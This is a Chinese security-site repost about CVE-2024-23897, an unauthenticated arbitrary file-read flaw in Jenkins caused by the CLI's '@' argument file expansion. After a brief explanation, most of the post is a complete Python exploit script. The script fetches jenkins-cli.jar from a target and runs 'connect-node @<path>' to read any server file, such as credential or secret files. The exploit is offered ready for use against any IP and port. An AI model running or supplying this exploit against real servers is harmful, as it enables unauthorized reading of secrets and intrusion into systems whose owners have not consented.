CVE-2024-23897 | Jenkins未授权文件读取

admin 2024年5月20日23:21:17评论36 views字数 1509阅读5分1秒阅读模式
影响描述

        CVE-2024-23897是一个涉及Jenkins未授权文件读取的漏洞。它利用了Jenkins命令行接口(CLI)的特性,其中CLI使用args4j库解析命令行参数。args4j库具有一个特点,即当命令行参数以@字符开头时,该参数会被视为文件路径,并将该文件内容读取作为参数。利用这一特性,攻击者可以通过Jenkins CLI读取Jenkins服务器上的任意文件。

poc&exp

import argparse
import requests
import os
import subprocess
import sys

def download_jenkins_cli(ip, puerto):
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"Error al realizar la solicitud: {errorhttp}")
        return False

def connect_node(ip, puerto, ruta):
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"Error al intentar conectar el nodo: {error_payload}")

def main():
    parser = argparse.ArgumentParser(description="Script para explotar el CVE-2024-23897 en Jenkins")
    parser.add_argument("ip", type=str, help="Dirección IP del servidor Jenkins")
    parser.add_argument("puerto", type=str, help="Puerto del servidor Jenkins")
    parser.add_argument("ruta", type=str, help="Ruta para leer el archivo")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    if download_jenkins_cli(ip, puerto):
        connect_node(ip, puerto, ruta)
    else:
        sys.exit(1)


main()

 

 

原文始发于微信公众号(漏洞猎人):CVE-2024-23897 | Jenkins未授权文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月20日23:21:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-23897 | Jenkins未授权文件读取https://cn-sec.com/archives/2757097.html

发表评论

匿名网友 填写信息